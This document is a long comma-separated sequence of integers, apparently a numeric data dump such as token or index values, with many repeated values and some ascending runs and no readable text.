418, 418, 419, 418, 418, 418, 419, 419, 418, 419, 419, 419, 419, 418, 419, 419, 419, 419, 418, 419, 419, 419, 419, 419, 419, 418, 418, 418, 419, 419, 419, 419, 418, 536, 537, 418, 425, 418, 419, 418, 418, 419, 470, 538, 539, 540, 541, 520, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 425, 418, 418, 419, 418, 419, 419, 419, 419, 419, 419, 419, 418, 419, 419, 419, 418, 419, 418, 418, 419, 418, 419, 418, 418, 419, 419, 419, 419, 418, 419, 419, 419, 418, 418, 419, 419, 419, 419, 418, 419, 419, 418, 418, 419, 419, 419, 419, 419, 418, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 560, 566, 567, 568, 569, 565, 418, 570, 571, 470, 572, 573, 574, 575, 576, 577, 578, 579, 580, 470, 425, 581, 582, 583, 584, 470, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 470, 501, 425, 600, 418, 419, 419, 419, 419, 419, 418, 418, 418, 419, 418, 419, 419, 418, 419, 418, 419, 419, 418, 418, 418, 419, 419, 419, 418, 418, 418, 419, 419, 419, 418, 418, 418, 418, 419, 418, 418, 419, 418, 418, 419, 419, 419, 418, 418, 419, 418, 419, 419, 419, 418, 419, 419, 419, 419, 419, 419, 418, 418, 418, 419, 419, 418, 419, 419, 418, 419, 419, 418, 419, 419, 418, 419, 419, 419, 419, 419, 419, 419, 418, 419, 418, 419, 418, 419, 419, 418, 419, 418, 419, 419, 418, 419, 418, 419, 418, 601, 572, 602, 603, 604, 605, 606, 607, 608, 609, 610, 453, 611, 470, 612, 613, 614, 470, 615, 485, 616, 617, 618, 619, 620, 621, 622, 623, 470, 418, 418, 418, 419, 419, 419, 418, 419, 419, 418, 419, 419, 418, 418, 418, 418, 418, 419, 419, 419, 419, 418, 419, 419, 419, 419, 419, 419, 418, 418, 418, 419, 419, 419, 419, 419, 419, 419, 419, 419, 418, 419, 419, 419, 419, 419, 419, 419, 419, 418, 419, 419, 418, 418, 418, 418, 419, 419, 419, 418, 418, 418, 419, 418, 418, 418, 419, 419, 418, 419, 419, 419, 418, 419, 418, 418, 418, 419, 419, 418, 419, 419, 419, 418, 419, 419, 419, 418, 418, 418, 418, 419, 470, 539, 624, 625, 425, 470, 425, 418, 418, 419, 418, 419, 470, 624, 425, 418, 470, 626, 425, 418, 418, 419, 470, 627, 628, 629, 530, 630, 631, 470, 632, 633, 634, 425, 418, 418, 419, 419, 419, 418, 419, 419, 418, 419, 419, 419, 419, 418, 418, 419, 418, 418, 419, 419, 418, 419, 418, 470, 425, 418, 635, 470, 636, 418, 425, 418, 419, 418, 419, 637, 470, 638, 639, 418, 419, 418, 418, 418, 419, 419, 419, 419, 418, 640, 641, 642, 470, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 425, 418, 419, 419, 419, 418, 418, 418, 418, 419, 419, 418, 418, 419, 418, 418, 418, 418, 418, 418, 418, 419, 418, 419, 418, 418, 418, 418, 418, 418, 419, 419, 419, 419, 419, 418, 418, 419, 418, 418, 418, 419, 418, 418, 419, 418, 418, 419, 418, 418, 419, 418, 418, 418, 419, 419, 419, 418, 418, 418, 419, 419, 419, 419, 418, 657, 470, 658, 470, 659, 660, 661, 662, 425, 418, 419, 419, 419, 419, 419, 418, 418, 418, 419, 418, 418, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 418, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 418, 419, 419, 419, 419, 419, 418, 663, 470, 425, 418, 419, 664, 470, 455, 425, 418, 419, 665, 418, 425, 418, 419, 470, 666, 425, 418, 418, 419, 667, 418, 470, 668, 425, 418, 418, 419, 670, 669, 419, 419, 419, 419, 670, 669, 419, 670, 669, 670, 670, 419, 670, 669, 419, 670, 419, 670, 669, 419, 670, 419, 670, 419, 669, 670, 670, 670, 670, 670, 670, 670, 670, 669, 419, 419, 670, 670, 419, 670, 419, 670, 669, 670, 670, 670, 670, 670, 419, 670, 419, 670, 419, 670, 669, 670, 670, 419, 670, 419, 670, 669, 670, 670, 670, 670, 670, 419, 670, 419, 670, 669, 419, 419, 670, 419, 670, 669, 670, 670, 670, 419, 670, 419, 670, 419, 670, 419, 670, 669, 670, 419, 670, 419, 670, 669, 419, 670, 670, 670, 670, 419, 670, 419, 670, 419, 670, 419, 670, 419, 670, 419, 670, 669, 419, 670, 669, 670, 670, 670, 419, 670, 419, 670, 669, 670, 419, 670, 419, 670, 669, 419, 670, 670, 670, 670, 419, 670, 419, 670, 669, 419, 670, 419, 670, 419, 670, 669, 670, 670, 419, 670, 419, 670, 669, 419, 670, 419, 670, 419, 670, 419, 669, 670, 670, 670, 419, 670, 419, 670, 669, 419, 670, 669, 670, 670, 419, 670, 669, 670, 670, 670, 419, 670, 670, 670, 670, 670, 670, 419, 419, 670, 419, 670, 419, 670, 419, 670, 669, 670, 419, 670, 419, 670, 669, 419, 670, 669, 670, 419, 670, 669, 670, 419, 670, 669, 419, 419, 670, 669, 419, 670, 419, 670, 419, 670, 419, 670, 419, 670, 419, 669, 670, 670, 419, 670, 670, 670, 670, 419, 419, 670, 670, 670, 670, 670, 419, 670, 670, 670, 670, 670, 669, 419, 670, 670, 419, 670, 419, 669, 670, 670, 419, 670, 669, 419, 419, 670, 419, 669, 670, 670, 669, 419, 670, 419, 669, 670, 669, 419, 670, 419, 670, 419, 669, 670, 670, 669, 419, 670, 419, 670, 419, 670, 669, 670, 419, 670, 419, 670, 669, 419, 670, 669, 419, 419, 670, 669, 670, 419, 669, 670, 669, 419, 670, 419, 670, 419, 669, 670, 669, 419, 419, 670, 669, 670, 419, 670, 419, 670, 669, 419, 670, 419, 669, 670, 669, 419, 419, 670, 419, 669, 670, 669, 419, 419, 670, 669, 670, 419, 670, 669, 670, 419, 670, 669, 670, 419, 670, 419, 670, 419, 669, 670, 669, 419, 419, 670, 669, 670, 419, 670, 419, 670, 669, 419, 670, 669, 670, 670, 419, 670, 419, 670, 669, 669, 419, 669, 419, 670, 670, 419, 670, 670, 670, 670, 670, 670, 670, 669, 419, 670, 670, 670, 419, 669, 670, 670, 670, 419, 670, 419, 670, 419, 670, 419, 670, 419, 670, 669, 419, 419, 670, 669, 670, 419, 670, 669, 419, 419, 670, 419, 419, 419, 670, 419, 670, 419, 670, 419, 670, 419, 669, 419, 670, 419, 670, 419, 669, 670, 669, 419, 670, 419, 669, 670, 419, 670, 670, 670, 669, 419, 670, 419, 419, 670, 419, 669, 670, 670, 669, 419, 670, 670, 670, 670, 419, 670, 419, 669, 670, 670, 670, 419, 670, 669, 670, 419, 670, 419, 670, 419, 670, 419, 670, 669, 670, 670, 419, 670, 669, 419, 670, 419, 670, 419, 669, 670, 670, 669, 419, 670, 419, 669, 670, 669, 419, 670, 669, 419, 670, 419, 670, 669, 670, 670, 670, 669, 419, 419, 419, 670, 669, 419, 670, 419, 669, 670, 669, 419, 670, 419, 670, 419, 669, 670, 670, 670, 669, 419, 670, 419, 669, 670, 670, 670, 670, 669, 419, 670, 419, 670, 669, 419, 419, 670, 419, 670, 669, 670, 419, 670, 419, 669, 670, 670, 669, 419, 670, 419, 670, 669, 419, 670, 670, 670, 419, 670, 419, 669, 419, 670, 669, 670, 419, 419, 670, 419, 670, 419, 669, 670, 670, 670, 670, 669, 419, 670, 419, 670, 419, 670, 419, 670, 419, 670, 669, 670, 670, 670, 419, 670, 419, 670, 419, 670, 419, 669, 670, 670, 419, 419, 670, 669, 670, 419, 670, 670, 669, 419, 670, 419, 670, 669, 419, 419, 670, 670, 670, 670, 419, 670, 419, 670, 419, 669, 670, 670, 419, 669, 670, 669, 419, 670, 419, 669, 670, 669, 419, 670, 419, 669, 670, 419, 670, 670, 669, 419, 670, 670, 419, 669, 670, 669, 419, 670, 419, 670, 669, 670, 419, 670, 419, 669, 670, 669, 419, 670, 419, 670, 419, 670, 419, 670, 419, 670, 669, 671, 669, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 674, 683, 684, 685, 686, 687, 674, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 674, 703, 671, 683, 671, 704, 671, 669, 670, 670, 670, 670, 419, 669, 670, 670, 669, 419, 670, 669, 419, 419, 670, 669, 419, 670, 419, 669, 670, 669, 419, 419, 670, 419, 669, 670, 670, 669, 419, 670, 670, 670, 669, 419, 670, 419, 670, 670, 669, 419, 419, 670, 419, 669, 670, 669, 419, 670, 669, 419, 419, 670, 419, 670, 669, 419, 670, 419, 419, 670, 419, 670, 419, 669, 670, 670, 669, 419, 670, 670, 419, 670, 669, 419, 670, 419, 670, 669, 419, 670, 419, 669, 419, 670, 670, 670, 419, 670, 669, 670, 419, 670, 669, 419, 670, 669, 670, 419, 670, 669, 419, 670, 669, 419, 670, 419, 670, 669, 419, 670, 669, 419, 670, 669, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 676, 717, 718, 719, 720, 721, 718, 722, 723, 724, 725, 726, 727, 728, 729, 730, 671, 669, 670, 419, 670, 669, 670, 419, 670, 669, 670, 419, 670, 669, 670, 419, 670, 669, 419, 670, 419, 670, 669, 670, 419, 670, 669, 670, 419, 419, 419, 670, 669, 670, 419, 670, 669, 670, 670, 670, 670, 419, 670, 419, 669, 670, 669, 419, 419, 670, 419, 670, 669, 670, 419, 670, 669, 419, 670, 669, 670, 670, 419, 670, 669, 419, 670, 669, 670, 419, 670, 669, 419, 670, 669, 419, 670, 669, 419, 670, 669, 670, 669, 419, 419, 670, 669, 670, 419, 670, 669, 419, 670, 419, 669, 670, 669, 419, 674, 731, 671, 674, 732, 674, 733, 683, 671, 669, 670, 669, 419, 670, 669, 419, 674, 732, 683, 671, 669, 674, 734, 671, 683, 671, 669, 670, 669, 419, 674, 735, 692, 736, 718, 737, 730, 674, 738, 739, 740, 671, 683, 671, 669, 670, 669, 419, 670, 419, 670, 669, 419, 670, 419, 670, 419, 669, 670, 670, 669, 419, 670, 419, 670, 669, 419, 670, 669, 674, 683, 425, 669, 741, 674, 742, 683, 671, 669, 425, 670, 669, 419, 670, 669, 419, 743, 674, 744, 745, 671, 669, 419, 670, 669, 670, 670, 669, 419, 419, 670, 419, 670, 669, 674, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 671, 683, 671, 669, 670, 419, 670, 670, 670, 670, 670, 670, 670, 419, 670, 419, 670, 670, 670, 670, 670, 670, 669, 419, 670, 670, 419, 670, 419, 669, 670, 419, 670, 670, 670, 419, 670, 670, 419, 670, 670, 419, 670, 670, 419, 670, 670, 669, 419, 674, 757, 674, 733, 758, 759, 760, 671, 683, 671, 669, 670, 669, 419, 670, 670, 670, 419, 670, 670, 670, 419, 670, 419, 670, 669, 419, 419, 419, 419, 670, 670, 419, 419, 419, 419, 419, 670, 670, 670, 670, 670, 670, 670, 419, 670, 419, 670, 419, 669, 670, 670, 670, 419, 670, 419, 670, 669, 683, 425, 761, 674, 683, 425, 670, 669, 419, 762, 674, 763, 683, 425, 670, 669, 419, 670, 419, 764, 683, 671, 669, 425, 670, 669, 419, 674, 765, 671, 683, 671, 669, 670, 669, 419, 766, 766, 766, 768, 769, 770, 766, 767, 767, 771, 768, 771, 769, 771, 767, 772, 773, 772, 775, 774, 776, 774, 777, 774, 779, 778, 781, 782, 780, 781, 783, 780, 785, 784, 786, 784, 787, 784, 789, 788, 791, 792, 790, 791, 793, 790, 795, 795, 795, 795, 794, 795, 795, 795, 794, 795, 794, 795, 795, 794, 794, 794, 794, 794, 794, 795, 794, 794, 794, 794, 795, 795, 795, 795, 795, 794, 794, 795, 794, 794, 795, 794, 795, 794, 794, 795, 794, 794, 794, 795, 795, 795, 795, 795, 795, 794, 795, 795, 794, 795, 795, 794, 794, 794, 794, 794, 794, 795, 795, 794, 794, 795, 794, 795, 795, 795, 794, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 794, 795, 794, 795, 794, 795, 795, 794, 795, 795, 794, 794, 794, 795, 794, 794, 794, 794, 794, 794, 794, 795, 794, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 794, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 794, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 794, 794, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 794, 794, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 794, 795, 794, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 794, 795, 795, 795, 794, 795, 794, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 801, 865, 866, 867, 868, 869, 870, 801, 846, 801, 794, 795, 794, 795, 795, 794, 794, 795, 794, 794, 794, 794, 795, 794, 794, 794, 794, 794, 795, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 794, 794, 794, 795, 794, 794, 794, 795, 795, 795, 794, 794, 794, 795, 795, 794, 794, 794, 795, 795, 795, 794, 794, 794, 795, 795, 795, 795, 794, 795, 795, 795, 795, 794, 794, 794, 794, 794, 795, 795, 795, 795, 794, 794, 795, 795, 795, 794, 794, 795, 795, 795, 795, 794, 795, 795, 794, 795, 795, 794, 794, 794, 795, 795, 795, 794, 794, 794, 794, 795, 795, 795, 795, 795, 794, 794, 794, 794, 795, 794, 795, 795, 794, 795, 795, 794, 795, 794, 795, 795, 795, 794, 795, 795, 794, 794, 794, 795, 794, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 794, 871, 872, 873, 874, 875, 876, 877, 878, 879, 801, 880, 881, 882, 883, 884, 794, 795, 794, 794, 794, 794, 794, 795, 795, 794, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 794, 794, 795, 795, 795, 794, 794, 795, 794, 794, 795, 795, 795, 795, 795, 794, 794, 794, 794, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 794, 885, 840, 886, 887, 888, 801, 889, 890, 846, 801, 794, 795, 795, 795, 795, 794, 794, 794, 795, 794, 794, 795, 795, 795, 794, 794, 794, 795, 795, 794, 851, 794, 846, 801, 801, 891, 794, 801, 794, 795, 846, 892, 893, 846, 894, 895, 846, 896, 897, 898, 899, 900, 901, 846, 902, 903, 904, 846, 905, 906, 907, 865, 908, 909, 910, 865, 911, 846, 801, 794, 794, 795, 795, 794, 794, 794, 795, 795, 795, 795, 794, 795, 795, 794, 794, 794, 794, 795, 795, 794, 794, 795, 795, 794, 794, 794, 794, 794, 794, 795, 795, 795, 794, 794, 794, 795, 794, 794, 794, 795, 795, 794, 795, 795, 795, 795, 794, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 794, 794, 794, 795, 795, 795, 795, 794, 912, 913, 794, 801, 794, 795, 794, 794, 795, 846, 914, 915, 916, 917, 896, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 801, 794, 794, 795, 794, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 794, 795, 794, 794, 795, 794, 795, 794, 794, 795, 795, 795, 795, 794, 795, 795, 795, 794, 794, 795, 795, 795, 795, 794, 795, 795, 794, 794, 795, 795, 795, 795, 795, 794, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 936, 942, 943, 944, 945, 941, 794, 946, 947, 846, 948, 949, 950, 951, 952, 953, 954, 955, 956, 846, 801, 957, 958, 959, 960, 846, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 846, 877, 801, 976, 794, 795, 795, 795, 795, 795, 794, 794, 794, 795, 794, 795, 795, 794, 795, 794, 795, 795, 794, 794, 794, 795, 795, 795, 794, 794, 794, 795, 795, 795, 794, 794, 794, 794, 795, 794, 794, 795, 794, 794, 795, 795, 795, 794, 794, 795, 794, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 794, 794, 794, 795, 795, 794, 795, 795, 794, 795, 795, 794, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 794, 795, 794, 795, 794, 795, 795, 794, 795, 794, 795, 795, 794, 795, 794, 795, 794, 977, 948, 978, 979, 980, 981, 982, 983, 984, 985, 986, 829, 987, 846, 988, 989, 990, 846, 991, 861, 992, 993, 994, 995, 996, 997, 998, 999, 846, 794, 794, 794, 795, 795, 795, 794, 795, 795, 794, 795, 795, 794, 794, 794, 794, 794, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 794, 794, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 794, 794, 794, 794, 795, 795, 795, 794, 794, 794, 795, 794, 794, 794, 795, 795, 794, 795, 795, 795, 794, 795, 794, 794, 794, 795, 795, 794, 795, 795, 795, 794, 795, 795, 795, 794, 794, 794, 794, 795, 846, 915, 1000, 1001, 801, 846, 801, 794, 794, 795, 794, 795, 846, 1000, 801, 794, 846, 1002, 801, 794, 794, 795, 846, 1003, 1004, 1005, 906, 1006, 1007, 846, 1008, 1009, 1010, 801, 794, 794, 795, 795, 795, 794, 795, 795, 794, 795, 795, 795, 795, 794, 794, 795, 794, 794, 795, 795, 794, 795, 794, 846, 801, 794, 1011, 846, 1012, 794, 801, 794, 795, 794, 795, 1013, 846, 1014, 1015, 794, 795, 794, 794, 794, 795, 795, 795, 795, 794, 1016, 1017, 1018, 846, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 801, 794, 795, 795, 795, 794, 794, 794, 794, 795, 795, 794, 794, 795, 794, 794, 794, 794, 794, 794, 794, 795, 794, 795, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 794, 794, 795, 794, 794, 794, 795, 794, 794, 795, 794, 794, 795, 794, 794, 795, 794, 794, 794, 795, 795, 795, 794, 794, 794, 795, 795, 795, 795, 794, 1033, 846, 1034, 846, 1035, 1036, 1037, 1038, 801, 794, 795, 795, 795, 795, 795, 794, 794, 794, 795, 794, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 794, 1039, 846, 801, 794, 795, 1040, 846, 831, 801, 794, 795, 1041, 794, 801, 794, 795, 846, 1042, 801, 794, 794, 795, 1043, 794, 846, 1044, 801, 794, 794, 795, 1046, 1045, 795, 795, 795, 795, 1046, 1045, 795, 1046, 1045, 1046, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1045, 795, 795, 1046, 1046, 795, 1046, 795, 1046, 1045, 1046, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 1046, 795, 1046, 795, 1046, 1045, 1046, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 1045, 795, 795, 1046, 795, 1046, 1045, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 1046, 1046, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 1046, 795, 1046, 1045, 1046, 1046, 1046, 795, 1046, 1046, 1046, 1046, 1046, 1046, 795, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 795, 1046, 1045, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 795, 1046, 1046, 1046, 1046, 795, 795, 1046, 1046, 1046, 1046, 1046, 795, 1046, 1046, 1046, 1046, 1046, 1045, 795, 1046, 1046, 795, 1046, 795, 1045, 1046, 1046, 795, 1046, 1045, 795, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 795, 795, 1046, 1045, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1045, 795, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 795, 1046, 795, 1045, 1046, 1045, 795, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 795, 1045, 1046, 1045, 795, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 1046, 795, 1046, 795, 1046, 1045, 1045, 795, 1045, 795, 1046, 1046, 795, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1045, 795, 1046, 1046, 1046, 795, 1045, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 795, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 795, 1046, 795, 795, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1045, 1046, 795, 1046, 1046, 1046, 1045, 795, 1046, 795, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 1046, 1046, 1046, 795, 1046, 795, 1045, 1046, 1046, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 1045, 795, 1046, 795, 1046, 1045, 1046, 1046, 1046, 1045, 795, 795, 795, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1046, 1045, 795, 1046, 795, 1045, 1046, 1046, 1046, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 1046, 1046, 1046, 795, 1046, 795, 1045, 795, 1046, 1045, 1046, 795, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1046, 1046, 1045, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 795, 795, 1046, 1045, 1046, 795, 1046, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 795, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1045, 1046, 795, 1046, 1046, 1045, 795, 1046, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 1047, 1045, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1050, 1059, 1060, 1061, 1062, 1063, 1050, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1050, 1079, 1047, 1059, 1047, 1080, 1047, 1045, 1046, 1046, 1046, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 1045, 795, 795, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 1046, 1046, 1045, 795, 1046, 795, 1046, 1046, 1045, 795, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 1045, 795, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 1045, 795, 1046, 1046, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 795, 1046, 1045, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1052, 1093, 1094, 1095, 1096, 1097, 1094, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1047, 1045, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 795, 795, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 1046, 1046, 1046, 795, 1046, 795, 1045, 1046, 1045, 795, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 1046, 1045, 795, 1046, 1045, 795, 1046, 1045, 1046, 1045, 795, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 1050, 1107, 1047, 1050, 1108, 1050, 1109, 1059, 1047, 1045, 1046, 1045, 795, 1046, 1045, 795, 1050, 1108, 1059, 1047, 1045, 1050, 1110, 1047, 1059, 1047, 1045, 1046, 1045, 795, 1050, 1111, 1068, 1112, 1094, 1113, 1106, 1050, 1114, 1115, 1116, 1047, 1059, 1047, 1045, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 1050, 1059, 801, 1045, 1117, 1050, 1118, 1059, 1047, 1045, 801, 1046, 1045, 795, 1046, 1045, 795, 1119, 1050, 1120, 1121, 1047, 1045, 795, 1046, 1045, 1046, 1046, 1045, 795, 795, 1046, 795, 1046, 1045, 1050, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1047, 1059, 1047, 1045, 1046, 795, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 1046, 1046, 1046, 1046, 1046, 1045, 795, 1046, 1046, 795, 1046, 795, 1045, 1046, 795, 1046, 1046, 1046, 795, 1046, 1046, 795, 1046, 1046, 795, 1046, 1046, 795, 1046, 1046, 1045, 795, 1050, 1133, 1050, 1109, 1134, 1135, 1136, 1047, 1059, 1047, 1045, 1046, 1045, 795, 1046, 1046, 1046, 795, 1046, 1046, 1046, 795, 1046, 795, 1046, 1045, 795, 795, 795, 795, 1046, 1046, 795, 795, 795, 795, 795, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1046, 795, 1046, 795, 1046, 1045, 1059, 801, 1137, 1050, 1059, 801, 1046, 1045, 795, 1138, 1050, 1139, 1059, 801, 1046, 1045, 795, 1046, 795, 1140, 1059, 1047, 1045, 801, 1046, 1045, 795, 1050, 1141, 1047, 1059, 1047, 1045, 1046, 1045, 795, 1142, 1143, 1144, 1142, 1145, 1146, 1147, 1149, 1150, 1151, 1152, 1153, 1154, 670, 670, 419, 1155, 1156, 1157, 1158, 670, 1161, 1162, 1164, 1165, 1166, 1160, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1188, 1189, 1190, 1191, 1192, 1193, 670, 1148, 7, 1148, 419, 1148, 419, 1160, 1163, 1187, 1194, 1159, 1142, 1142, 1195, 1143, 1196, 1198, 1197, 4, 1147, 1200, 1197, 1201, 1197, 2, 1147, 1197, 6, 8, 8, 7, 1202, 1203, 1204, 1197, 1205, 1206, 1197, 1207, 1197, 419, 419, 1209, 1210, 489, 470, 1211, 470, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 544, 1223, 520, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 419, 419, 419, 425, 565, 1208, 1236, 1197, 1237, 1197, 670, 1238, 419, 419, 419, 670, 1238, 670, 